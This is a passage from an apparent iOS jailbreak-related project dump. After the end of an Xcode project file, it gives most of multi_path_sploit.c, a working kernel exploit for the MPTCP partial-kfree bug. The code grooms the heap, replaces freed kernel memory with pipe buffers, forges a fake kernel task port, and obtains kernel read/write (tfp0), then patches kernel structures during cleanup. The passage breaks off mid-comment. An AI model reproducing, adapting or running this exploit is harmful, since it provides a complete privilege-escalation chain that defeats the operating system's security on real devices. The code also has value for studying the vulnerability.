2143C9FC20E7BD6A00AFB745 /* Debug */, 478 | 2143C9FD20E7BD6A00AFB745 /* Release */, 479 | ); 480 | defaultConfigurationIsVisible = 0; 481 | defaultConfigurationName = Release; 482 | }; 483 | /* End XCConfigurationList section */ 484 | }; 485 | rootObject = 2143C9DD20E7BD6900AFB745 /* Project object */; 486 | } 487 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/multi_path_sploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | 17 | #include "offsets.h" 18 | #include "kmem.h" 19 | #include "IOKit.h" 20 | #include "noncereboot.h" 21 | 22 | void multi_path_build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, uint64_t initial_read_addr, uint64_t vm_map, uint64_t receiver) { 23 | // clear the region we'll use: 24 | memset(fake_port, 0, 0x500); 25 | 26 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK; 27 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references 28 | *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights 29 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver; 30 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef; 31 | 32 | 33 | uint64_t fake_task_kaddr = fake_port_kaddr + 0x100; 34 | *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_kaddr; 35 | 36 | uint8_t* fake_task = fake_port + 0x100; 37 | 38 | // set the ref_count field of the fake task: 39 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references 40 | 41 | // make sure the task is active 42 | *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1; 43 | 44 | // set the vm_map of the fake task: 45 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map; 46 | 47 | // set the task lock type of the fake task's lock: 48 | *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22; 49 | 50 | // set the bsd_info pointer to be 0x10 bytes before the desired initial read: 51 | *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)) = initial_read_addr - 0x10; 52 | } 53 | 54 | #define AF_MULTIPATH 39 55 | int alloc_mptcp_socket() { 56 | int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0); 57 | if (sock < 0) { 58 | printf("socket failed\n"); 59 | perror(""); 60 | return -1; 61 | } 62 | return sock; 63 | } 64 | 65 | 66 | void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_bytes) { 67 | struct sockaddr* sockaddr_src = malloc(256); 68 | memset(sockaddr_src, 'D', 256); 69 | *(uint64_t*) (((uint8_t*)sockaddr_src)+koffset(KFREE_ADDR_OFFSET)) = kaddr; 70 | sockaddr_src->sa_len = koffset(KFREE_ADDR_OFFSET)+n_bytes; 71 | sockaddr_src->sa_family = 'B'; 72 | 73 | struct sockaddr* sockaddr_dst = malloc(256); 74 | memset(sockaddr_dst, 'C', 256); 75 | sockaddr_dst->sa_len = sizeof(struct sockaddr_in6); 76 | sockaddr_dst->sa_family = AF_INET6; 77 | 78 | sa_endpoints_t eps = {0}; 79 | eps.sae_srcif = 0; 80 | eps.sae_srcaddr = sockaddr_src; 81 | eps.sae_srcaddrlen = koffset(KFREE_ADDR_OFFSET)+n_bytes; 82 | eps.sae_dstaddr = sockaddr_dst; 83 | eps.sae_dstaddrlen = sizeof(struct sockaddr_in6); 84 | 85 | printf("doing partial overwrite with target value: %016llx, length %d\n", kaddr, n_bytes); 86 | 87 | int err = connectx( 88 | fd, 89 | &eps, 90 | SAE_ASSOCID_ANY, 91 | 0, 92 | NULL, 93 | 0, 94 | NULL, 95 | NULL); 96 | 97 | printf("err: %d\n", err); 98 | 99 | close(fd); 100 | 101 | 102 | return; 103 | } 104 | 105 | char* aaaas = NULL; 106 | 107 | int read_fds[10000] = {0}; 108 | int next_read_fd = 0; 109 | 110 | #define PIPE_SIZE 0x7ff 111 | 112 | int alloc_and_fill_pipe() { 113 | int fds[2] = {0}; 114 | int err = pipe(fds); 115 | if (err != 0) { 116 | perror("pipe failed\n"); 117 | return -1; 118 | } 119 | 120 | int read_end = fds[0]; 121 | int write_end = fds[1]; 122 | 123 | int flags = fcntl(write_end, F_GETFL); 124 | flags |= O_NONBLOCK; 125 | fcntl(write_end, F_SETFL, flags); 126 | 127 | if (aaaas == NULL) { 128 | aaaas = malloc(PIPE_SIZE); 129 | memset(aaaas, 'B', PIPE_SIZE); 130 | } 131 | 132 | ssize_t amount_written = write(write_end, aaaas, PIPE_SIZE); 133 | if (amount_written != PIPE_SIZE) { 134 | printf("amount written was short: 0x%ld\n", amount_written); 135 | } 136 | read_fds[next_read_fd++] = read_end; 137 | //printf("filled pipe %d\n", read_end); 138 | return read_end; // the buffer is actually hanging off the read end struct pipe 139 | } 140 | 141 | int find_replacer_pipe(void** contents) { 142 | uint64_t* read_back = malloc(PIPE_SIZE); 143 | for (int i = 0; i < next_read_fd; i++) { 144 | int fd = read_fds[i]; 145 | ssize_t amount = read(fd, read_back, PIPE_SIZE); 146 | if (amount != PIPE_SIZE) { 147 | printf("short read (%ld)\n", amount); 148 | } else { 149 | printf("full read\n"); 150 | } 151 | 152 | int pipe_is_replacer = 0; 153 | for (int j = 0; j < PIPE_SIZE/8; j++) { 154 | if (read_back[j] != 0x4242424242424242) { 155 | pipe_is_replacer = 1; 156 | printf("found an unexpected value: %016llx\n", read_back[j]); 157 | } 158 | } 159 | 160 | if (pipe_is_replacer) { 161 | *contents = read_back; 162 | return fd; 163 | } 164 | } 165 | return -1; 166 | } 167 | 168 | 169 | mach_port_t fake_kalloc(int size) { 170 | mach_port_t port = MACH_PORT_NULL; 171 | kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 172 | if (err != KERN_SUCCESS) { 173 | printf("unable to allocate port\n"); 174 | } 175 | struct simple_msg { 176 | mach_msg_header_t hdr; 177 | char buf[0]; 178 | }; 179 | 180 | extern int message_size_for_kalloc_size(int kalloc_size); 181 | 182 | mach_msg_size_t msg_size = message_size_for_kalloc_size(size); 183 | struct simple_msg* msg = malloc(msg_size); 184 | memset(msg, 0, sizeof(struct simple_msg)); 185 | memset(msg+1, 'E', msg_size - sizeof(struct simple_msg)); 186 | 187 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 188 | msg->hdr.msgh_size = msg_size; 189 | msg->hdr.msgh_remote_port = port; 190 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 191 | msg->hdr.msgh_id = 0x41414142; 192 | 193 | err = mach_msg(&msg->hdr, 194 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 195 | msg_size, 196 | 0, 197 | MACH_PORT_NULL, 198 | MACH_MSG_TIMEOUT_NONE, 199 | MACH_PORT_NULL); 200 | 201 | if (err != KERN_SUCCESS) { 202 | printf("early kalloc failed to send message\n"); 203 | } 204 | 205 | return port; 206 | } 207 | 208 | void fake_kfree(mach_port_t port) { 209 | mach_port_destroy(mach_task_self(), port); 210 | } 211 | 212 | /* 213 | * Things are easier and more stable if we can get the reallocated message buffer to be a pre-alloced one 214 | * as it won't be freed when we receive the message. This gives us one fewer places where we need to control 215 | * the reallocation of an object (a source of unreliability.) 216 | * 217 | * Ideally we'd like to use this ipc kmsg to also give us a useful kernel pointer to help us build the arbitrary 218 | * r/w. If we can get a send right to the host port in the kmsg we can use that as a building block to find the 219 | * kernel task port from which we can copy all the stuff we need to build a "fake" kernel task port. 220 | * 221 | * There aren't that many places where we can get the kernel to send a message containing a port we control. 222 | * One option is to use exception messages; we can actually get the kernel to use arbitrary ports as the task and thread ports. 223 | */ 224 | 225 | // size is desired kalloc size for message 226 | mach_port_t multi_path_prealloc_port(natural_t size) { 227 | 228 | extern int message_size_for_kalloc_size(int kalloc_size); 229 | 230 | kern_return_t err; 231 | mach_port_qos_t qos = {0}; 232 | qos.prealloc = 1; 233 | qos.len = message_size_for_kalloc_size(size); 234 | 235 | mach_port_name_t name = MACH_PORT_NULL; 236 | 237 | err = mach_port_allocate_full(mach_task_self(), 238 | MACH_PORT_RIGHT_RECEIVE, 239 | MACH_PORT_NULL, 240 | &qos, 241 | &name); 242 | 243 | if (err != KERN_SUCCESS) { 244 | printf("pre-allocated port allocation failed: %s\n", mach_error_string(err)); 245 | return MACH_PORT_NULL; 246 | } 247 | 248 | return (mach_port_t)name; 249 | } 250 | 251 | mach_port_t extracted_thread_port = MACH_PORT_NULL; 252 | 253 | kern_return_t catch_exception_raise_state_identity 254 | ( 255 | mach_port_t exception_port, 256 | mach_port_t thread, 257 | mach_port_t task, 258 | exception_type_t exception, 259 | exception_data_t code, 260 | mach_msg_type_number_t codeCnt, 261 | int *flavor, 262 | thread_state_t old_state, 263 | mach_msg_type_number_t old_stateCnt, 264 | thread_state_t new_state, 265 | mach_msg_type_number_t *new_stateCnt 266 | ) 267 | { 268 | printf("catch_exception_raise_state_identity\n"); 269 | 270 | // the thread port isn't actually the thread port 271 | // we rewrote it via the pipe to be the fake kernel r/w port 272 | printf("thread: %x\n", thread); 273 | extracted_thread_port = thread; 274 | 275 | mach_port_deallocate(mach_task_self(), task); 276 | 277 | // make the thread exit cleanly when it resumes: 278 | memcpy(new_state, old_state, sizeof(_STRUCT_ARM_THREAD_STATE64)); 279 | _STRUCT_ARM_THREAD_STATE64* new = (_STRUCT_ARM_THREAD_STATE64*)(new_state); 280 | 281 | *new_stateCnt = old_stateCnt; 282 | 283 | new->__pc = (uint64_t)pthread_exit; 284 | new->__x[0] = 0; 285 | 286 | // let the thread resume and exit 287 | return KERN_SUCCESS; 288 | } 289 | 290 | union max_msg { 291 | union __RequestUnion__exc_subsystem requests; 292 | union __ReplyUnion__exc_subsystem replies; 293 | }; 294 | 295 | extern boolean_t exc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); 296 | 297 | void* multi_path_do_thread(void* arg) { 298 | mach_port_t exception_port = (mach_port_t)arg; 299 | 300 | kern_return_t err; 301 | err = thread_set_exception_ports( 302 | mach_thread_self(), 303 | EXC_MASK_ALL, 304 | exception_port, 305 | EXCEPTION_STATE_IDENTITY, // catch_exception_raise_state_identity messages 306 | ARM_THREAD_STATE64); 307 | 308 | if (err != KERN_SUCCESS) { 309 | printf("failed to set exception port\n"); 310 | } 311 | 312 | // make the thread port which gets sent in the message actually be the host port 313 | err = thread_set_special_port(mach_thread_self(), THREAD_KERNEL_PORT, mach_host_self()); 314 | if (err != KERN_SUCCESS) { 315 | printf("failed to set THREAD_KERNEL_PORT\n"); 316 | } 317 | 318 | // cause an exception message to be sent by the kernel 319 | volatile char* bAAAAd_ptr = (volatile char*)0x41414141; 320 | *bAAAAd_ptr = 'A'; 321 | printf("no crashy?"); 322 | return NULL; 323 | } 324 | 325 | 326 | // we need a send right for port 327 | void multi_path_send_prealloc_msg(mach_port_t port) { 328 | // start a new thread passing it the buffer and the exception port 329 | pthread_t t; 330 | pthread_create(&t, NULL, multi_path_do_thread, (void*)port); 331 | 332 | // associate the pthread_t with the port so that we can join the correct pthread 333 | // when we receive the exception message and it exits: 334 | kern_return_t err = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)t); 335 | if (err != KERN_SUCCESS) { 336 | printf("failed to set context\n"); 337 | return; 338 | } 339 | printf("set context\n"); 340 | 341 | extern int port_has_message(mach_port_t port); 342 | 343 | // wait until the message has actually been sent: 344 | while(!port_has_message(port)){;} 345 | printf("message was sent\n"); 346 | } 347 | 348 | // receive the exception message on the port and extract the thread port 349 | // which we will have overwritten with a pointer to the initial kernel r/w port 350 | mach_port_t multi_path_receive_prealloc_msg(mach_port_t port) { 351 | kern_return_t err = mach_msg_server_once(exc_server, 352 | sizeof(union max_msg), 353 | port, 354 | MACH_MSG_TIMEOUT_NONE); 355 | 356 | printf("multi_path_receive_prealloc_msg: %s\n", mach_error_string(err)); 357 | 358 | // get the pthread context back from the port and join it: 359 | pthread_t t; 360 | err = mach_port_get_context(mach_task_self(), port, (mach_port_context_t*)&t); 361 | pthread_join(t, NULL); 362 | 363 | return extracted_thread_port; 364 | } 365 | 366 | uint64_t multi_path_early_read_pipe_buffer_kaddr; 367 | int multi_path_early_read_pipe_read_end; 368 | int multi_path_early_read_pipe_write_end; 369 | mach_port_t multi_path_early_read_port; 370 | 371 | mach_port_t multi_path_prepare_early_read_primitive(uint64_t pipe_buffer_kaddr, int pipe_read_end, int pipe_write_end, mach_port_t replacer_port, uint8_t* original_contents) { 372 | multi_path_early_read_pipe_buffer_kaddr = pipe_buffer_kaddr; 373 | multi_path_early_read_pipe_read_end = pipe_read_end; 374 | multi_path_early_read_pipe_write_end = pipe_write_end; 375 | multi_path_early_read_port = replacer_port; 376 | 377 | // we have free space in the ipc_kmsg from +58h to +648 378 | 379 | // lets build an initial kernel read port in there 380 | // like in async_wake, extra_recipe and yalu 381 | uint64_t fake_port_offset = 0x100; // where in the pipe/ipc_kmsg to put it 382 | uint64_t fake_port_kaddr = multi_path_early_read_pipe_buffer_kaddr + fake_port_offset; 383 | 384 | multi_path_build_fake_task_port(original_contents+fake_port_offset, fake_port_kaddr, multi_path_early_read_pipe_buffer_kaddr, 0, 0); 385 | 386 | // the thread port is at +66ch 387 | // we could parse the kmsg properly, but this'll do... 388 | // replace the thread port pointer with one to our fake port: 389 | *((uint64_t*)(original_contents+0x66c)) = fake_port_kaddr; 390 | 391 | // replace the ipc_kmsg: 392 | write(pipe_write_end, original_contents, PIPE_SIZE); 393 | 394 | multi_path_early_read_port = multi_path_receive_prealloc_msg(replacer_port); 395 | 396 | return multi_path_early_read_port; 397 | } 398 | 399 | uint32_t multi_path_early_rk32(uint64_t kaddr) { 400 | uint8_t* pipe_contents = malloc(PIPE_SIZE); 401 | ssize_t amount = read(multi_path_early_read_pipe_read_end, pipe_contents, PIPE_SIZE); 402 | if (amount != PIPE_SIZE) { 403 | printf("multi_path_early_rk32 pipe buffer read was short\n"); 404 | } 405 | 406 | // no need to actually build it again, but this read function will only be used a handful of times during bootstrap 407 | 408 | uint64_t fake_port_offset = 0x100; // where in the pipe/ipc_kmsg to put it 409 | uint64_t fake_port_kaddr = multi_path_early_read_pipe_buffer_kaddr + fake_port_offset; 410 | 411 | multi_path_build_fake_task_port(pipe_contents+fake_port_offset, fake_port_kaddr, kaddr, 0, 0); 412 | 413 | // replace the ipc_kmsg: 414 | write(multi_path_early_read_pipe_write_end, pipe_contents, PIPE_SIZE); 415 | 416 | uint32_t val = 0; 417 | kern_return_t err = pid_for_task(multi_path_early_read_port, (int*)&val); 418 | if (err != KERN_SUCCESS) { 419 | printf("pid_for_task returned %x\n", err); 420 | } 421 | printf("read val via pid_for_task: %08x\n", val); 422 | free(pipe_contents); 423 | return val; 424 | } 425 | 426 | uint64_t multi_path_early_rk64(uint64_t kaddr) { 427 | uint64_t lower = (uint64_t)multi_path_early_rk32(kaddr); 428 | uint64_t upper = (uint64_t)multi_path_early_rk32(kaddr + 4); 429 | uint64_t final = lower | (upper << 32); 430 | return final; 431 | } 432 | 433 | // yes, this isn't the real kernel task port 434 | // but you can modify the exploit easily to give you that if you want it! 435 | mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver) { 436 | uint8_t* pipe_contents = malloc(PIPE_SIZE); 437 | ssize_t amount = read(multi_path_early_read_pipe_read_end, pipe_contents, PIPE_SIZE); 438 | if (amount != PIPE_SIZE) { 439 | printf("prepare_tfp0 pipe buffer read was short\n"); 440 | } 441 | 442 | uint64_t fake_port_offset = 0x100; // where in the pipe/ipc_kmsg to put it 443 | uint64_t fake_port_kaddr = multi_path_early_read_pipe_buffer_kaddr + fake_port_offset; 444 | 445 | multi_path_build_fake_task_port(pipe_contents+fake_port_offset, fake_port_kaddr, 0x4848484848484848, vm_map, receiver); 446 | 447 | // replace the ipc_kmsg: 448 | write(multi_path_early_read_pipe_write_end, pipe_contents, PIPE_SIZE); 449 | 450 | free(pipe_contents); 451 | 452 | // multi_path_early_read_port is no longer only capable of reads! 453 | return multi_path_early_read_port; 454 | } 455 | 456 | int multi_path_go() { 457 | 458 | int ret = ERR_NOERR; 459 | 460 | // increase the limit on the number of open files: 461 | increase_limits(); 462 | 463 | int target_socks[2] = {0}; 464 | int next_sock = 0; 465 | 466 | int sockets[10000]; 467 | int next_all_sock = 0; 468 | // alloc a bunch of sockets 469 | printf("allocating early sockets\n"); 470 | for (int i = 0; i < 1000; i++) { 471 | int sock = alloc_mptcp_socket(); 472 | sockets[next_all_sock++] = sock; 473 | } 474 | 475 | // a few times do: 476 | // alloc 16MB of messages 477 | // alloc a hundred sockets 478 | printf("trying to force a 16MB aligned 0x800 kalloc on to freelist\n"); 479 | for (int i = 0; i < 7; i++) { 480 | printf("%d/6...\n", i); 481 | for (int j = 0; j < 0x2000; j++) { 482 | mach_port_t p = fake_kalloc(0x800); 483 | } 484 | for (int j = 0; j < 100; j++) { 485 | int sock = alloc_mptcp_socket(); 486 | 487 | // we'll keep two of them: 488 | if (i == 6 && (j==94 || j==95)) { 489 | target_socks[next_sock] = sock; 490 | next_sock++; 491 | next_sock %= (sizeof(target_socks)/sizeof(target_socks[0])); 492 | } else { 493 | sockets[next_all_sock++] = sock; 494 | } 495 | } 496 | } 497 | 498 | printf("%d %d\n", target_socks[0], target_socks[1]); 499 | 500 | // the free is deferred by a "gc". 501 | // to improve the probability we are the one who gets to reuse the free'd alloc 502 | // lets free two things such that they both hopefully end up on the all_free list 503 | // and lets put a bunch of stuff on the intermediate list. 504 | // Intermediate is traversed before all_free so even if another thread 505 | // starts allocating before we do we're more likely to get the correct alloc 506 | mach_port_t late_ports[40]; 507 | for (int i = 0; i < 40; i++) { 508 | late_ports[i] = fake_kalloc(0x800); 509 | } 510 | 511 | // try to put some on intermediate 512 | for (int i = 0; i < 10; i++) { 513 | fake_kfree(late_ports[i*2]); 514 | late_ports[i*2] = MACH_PORT_NULL; 515 | } 516 | 517 | // free all the other mptcp sockets: 518 | for (int i = 0; i < next_all_sock; i++) { 519 | close(sockets[i]); 520 | } 521 | 522 | printf("waiting for early mptcp gc...\n"); 523 | // wait for the mptcp gc... 524 | for (int i = 0; i < 400; i++) { 525 | usleep(10000); 526 | } 527 | 528 | printf("trying first free\n"); 529 | do_partial_kfree_with_socket(target_socks[0], 0, 3); 530 | 531 | printf("waiting for mptcp gc...\n"); 532 | // wait for the mptcp gc... 533 | for (int i = 0; i < 400; i++) { 534 | usleep(10000); 535 | } 536 | 537 | printf("trying to refill ****************\n"); 538 | 539 | // realloc with pipes: 540 | for (int i = 0; i < 1000; i++) { //100 541 | int fd = alloc_and_fill_pipe(); 542 | usleep(1000); // 10000 543 | } 544 | 545 | // put half of them on intermediate: 546 | for (int i = 20; i < 40; i+=2) { 547 | fake_kfree(late_ports[i]); 548 | late_ports[i] = MACH_PORT_NULL; 549 | } 550 | 551 | printf("hopefully we got a pipe buffer in there... now freeing one of them\n"); 552 | printf("trying second free\n"); 553 | do_partial_kfree_with_socket(target_socks[1], 0, 3); 554 | 555 | printf("waiting for second mptcp gc...\n"); 556 | // wait for the mptcp gc... 557 | for (int i = 0; i < 400; i++) { 558 | usleep(10000); 559 | } 560 | 561 | extern void prepare_prealloc_port(mach_port_t port); 562 | mach_port_t exception_ports[100]; 563 | for (int i = 0; i < 100; i++) { 564 | mach_port_t p = multi_path_prealloc_port(0x800); 565 | prepare_prealloc_port(p); 566 | exception_ports[i] = p; 567 | usleep(10000); 568 | } 569 | 570 | printf("checking....\n"); 571 | 572 | uint8_t* msg_contents = NULL; 573 | int replacer_pipe = find_replacer_pipe((void**)&msg_contents); 574 | if (replacer_pipe == -1) { 575 | printf("failed to get a pipe buffer over a port\n"); 576 | return ERR_EXPLOIT; 577 | } 578 | 579 | // does the pipe buffer contain the mach message we sent to ourselves? 580 | if (msg_contents == NULL) { 581 | printf("didn't get any message contents\n"); 582 | return ERR_EXPLOIT; 583 | } 584 | 585 | printf("this should be the empty prealloc message\n"); 586 | 587 | for (int i = 0; i < 0x800/8; i++) { 588 | printf("+%08x %016llx\n", i*8, ((uint64_t*)msg_contents)[i]); 589 | } 590 | 591 | // write the empty prealloc message back over the pipe: 592 | write(replacer_pipe+1, msg_contents, PIPE_SIZE); 593 | 594 | // we still don't know which of our exception ports has the correct prealloced message buffer, 595 | // so try sending to each in turn until we hit the right one: 596 | uint8_t* original_contents = msg_contents; 597 | 598 | uint8_t* new_contents = malloc(PIPE_SIZE); 599 | memset(new_contents, 0, PIPE_SIZE); 600 | 601 | mach_port_t replacer_port = MACH_PORT_NULL; 602 | 603 | for (int i = 0; i < 100; i++) { 604 | multi_path_send_prealloc_msg(exception_ports[i]); 605 | // read from the pipe and see if the contents changed: 606 | ssize_t amount = read(replacer_pipe, new_contents, PIPE_SIZE); 607 | if (amount != PIPE_SIZE) { 608 | printf("short read (%ld)\n", amount); 609 | } 610 | if (memcmp(original_contents, new_contents, PIPE_SIZE) == 0) { 611 | // they are still the same, this isn't the correct port: 612 | mach_port_t fake_thread_port = multi_path_receive_prealloc_msg(exception_ports[i]); 613 | printf("received prealloc message via an exception with this thread port: %x\n", fake_thread_port); 614 | // that should be the real host port 615 | mach_port_deallocate(mach_task_self(), fake_thread_port); 616 | write(replacer_pipe+1, new_contents, PIPE_SIZE); 617 | } else { 618 | // different! we found the right exception port which has its prealloced port overlapping 619 | replacer_port = exception_ports[i]; 620 | // don't write anything back yet; we want to modify it first: 621 | break; 622 | } 623 | } 624 | 625 | if (replacer_port == MACH_PORT_NULL) { 626 | printf("failed to find replacer port\n"); 627 | return ERR_EXPLOIT; 628 | } 629 | 630 | printf("found replacer port\n"); 631 | 632 | 633 | for (int i = 0; i < 0x800/8; i++) { 634 | printf("+%08x %016llx\n", i*8, ((uint64_t*)new_contents)[i]); 635 | } 636 | 637 | uint64_t pipe_buf = *((uint64_t*)(new_contents + 0x8)); 638 | printf("pipe buf and prealloc message are at %016llx\n", pipe_buf); 639 | 640 | // multi_path_prepare_early_read_primitive will overwrite this, lets save it now for later 641 | uint64_t host_port_kaddr = *((uint64_t*)(new_contents + 0x66c)); 642 | 643 | // we can also find our task port kaddr: 644 | task_port_kaddr = *((uint64_t*)(new_contents + 0x67c)); 645 | 646 | mach_port_t kport = multi_path_prepare_early_read_primitive(pipe_buf, replacer_pipe, replacer_pipe+1, replacer_port, new_contents); 647 | 648 | uint32_t val = multi_path_early_rk32(pipe_buf); 649 | printf("%08x\n", val); 650 | 651 | // for the full read/write primitive we need to find the kernel vm_map and the kernel ipc_space 652 | // we can get the ipc_space easily from the host port (receiver field): 653 | uint64_t ipc_space_kernel = multi_path_early_rk64(host_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 654 | 655 | printf("ipc_space_kernel: %016llx\n", ipc_space_kernel); 656 | 657 | // the kernel vm_map is a little trickier to find 658 | // we can use the trick from mach_portal to find the kernel task port because we know it's gonna be near the host_port on the heap: 659 | 660 | // find the start of the zone block containing the host and kernel task pointers: 661 | 662 | uint64_t offset = host_port_kaddr & 0xfff; 663 | uint64_t first_port = 0; 664 | if ((offset % 0xa8) == 0) { 665 | printf("host port is on first page\n"); 666 | first_port = host_port_kaddr & ~(0xfff); 667 | } else if(((offset+0x1000) % 0xa8) == 0) { 668 | printf("host port is on second page\n"); 669 | first_port = (host_port_kaddr-0x1000) & ~(0xfff); 670 | } else if(((offset+0x2000) % 0xa8) == 0) { 671 | printf("host port is on third page\n"); 672 | first_port = (host_port_kaddr-0x2000) & ~(0xfff); 673 | } else if(((offset+0x3000) % 0xa8) == 0) { 674 | printf("host port is on fourth page\n"); 675 | first_port = (host_port_kaddr-0x3000) & ~(0xfff); 676 | } else { 677 | printf("hummm, my assumptions about port allocations are wrong...\n"); 678 | } 679 | 680 | printf("first port is at %016llx\n", first_port); 681 | uint64_t kernel_vm_map = 0; 682 | // now look through up to 0x4000 of ports and find one which looks like a task port: 683 | for (int i = 0; i < (0x4000/0xa8); i++) { 684 | uint64_t early_port_kaddr = first_port + (i*0xa8); 685 | uint32_t io_bits = multi_path_early_rk32(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)); 686 | 687 | if (io_bits != (IO_BITS_ACTIVE | IKOT_TASK)) { 688 | continue; 689 | } 690 | 691 | // get that port's kobject: 692 | uint64_t task_t = multi_path_early_rk64(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 693 | if (task_t == 0) { 694 | printf("weird heap object with NULL kobject\n"); 695 | continue; 696 | } 697 | 698 | // check the pid via the bsd_info: 699 | uint64_t bsd_info = multi_path_early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 700 | if (bsd_info == 0) { 701 | printf("task doesn't have a bsd info\n"); 702 | continue; 703 | } 704 | uint32_t pid = multi_path_early_rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 705 | if (pid != 0) { 706 | printf("task isn't the kernel task\n"); 707 | } 708 | 709 | // found the right task, get the vm_map 710 | kernel_vm_map = multi_path_early_rk64(task_t + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)); 711 | break; 712 | } 713 | 714 | if (kernel_vm_map == 0) { 715 | printf("unable to find the kernel task map\n"); 716 | return ERR_EXPLOIT; 717 | } 718 | 719 | printf("kernel map:%016llx\n", kernel_vm_map); 720 | 721 | // now we have everything to build a fake kernel task port for memory r/w: 722 | mach_port_t new_tfp0 = prepare_tfp0(kernel_vm_map, ipc_space_kernel); 723 | printf("tfp0: %x\n", new_tfp0); 724 | 725 | // test it! 726 | vm_offset_t data_out = 0; 727 | mach_msg_type_number_t out_size = 0; 728 | kern_return_t err = mach_vm_read(new_tfp0, kernel_vm_map, 0x40, &data_out, &out_size); 729 | if (err != KERN_SUCCESS) { 730 | printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err)); 731 | sleep(3); 732 | return ERR_EXPLOIT; 733 | } 734 | 735 | printf("kernel read via second tfp0 port worked?\n"); 736 | printf("0x%016llx\n", *(uint64_t*)data_out); 737 | printf("0x%016llx\n", *(uint64_t*)(data_out+8)); 738 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x10)); 739 | printf("0x%016llx\n", *(uint64_t*)(data_out+0x18)); 740 | 741 | // now bootstrap the proper r/w methods: 742 | prepare_for_rw_with_fake_tfp0(new_tfp0); 743 | 744 | // time to clean up 745 | // if we want to exit cleanly and keep the fake tfp0 alive we need to remove all reference to the memory it uses. 746 | // it's reference three times: 747 | // 1) the early_kalloc mach_message which was used to get the 16MB aligned allocation on to the free list in the first place 748 | // 2) the replacer_pipe buffer 749 | // 3) the replacer_port prealloced message 750 | 751 | // we also want to do this without using any kernel text offsets (only structure offsets) 752 | // as a starting point we want the task port; we actually do know where this is because the exception messages contained it 753 | 754 | // for 1 & 3 we need to look through the task's mach port table 755 | uint64_t task_kaddr = rk64(task_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 756 | uint64_t itk_space = rk64(task_kaddr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 757 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 758 | 759 | uint32_t is_table_size = rk32(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE)); 760 | 761 | const int sizeof_ipc_entry_t = 0x18; 762 | for (uint32_t i = 0; i < is_table_size; i++) { 763 | uint64_t port_kaddr = rk64(is_table + (i * sizeof_ipc_entry_t)); 764 | 765 | if (port_kaddr == 0) { 766 | continue; 767 | } 768 | 769 | // check the ikmq_base field 770 | uint64_t kmsg = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 771 | if (kmsg == pipe_buf) { 772 | // neuter it: 773 | printf("clearing kmsg from port %016llx\n", port_kaddr); 774 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0); 775 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); 776 | } 777 | 778 | // check for a prealloced msg: 779 | uint32_t ip_bits = rk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)); 780 | #define IP_BIT_PREALLOC 0x00008000 781 | if (ip_bits & IP_BIT_PREALLOC) { 782 | uint64_t premsg = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG)); 783 | if (premsg == pipe_buf) { 784 | // clear the premsg: 785 | printf("clearing premsg from port %016llx\n", port_kaddr); 786 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG), 0); 787 | ip_bits &= (~IP_BIT_PREALLOC); 788 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), ip_bits); 789 | } 790 | } 791 | } 792 | 793 | printf("going to try to clear up the pipes now\n"); 794 | 795 | // finally we have to fix up the pipe's buffer 796 | // for this we need to find the process fd table: 797 | // struct proc: 798 | 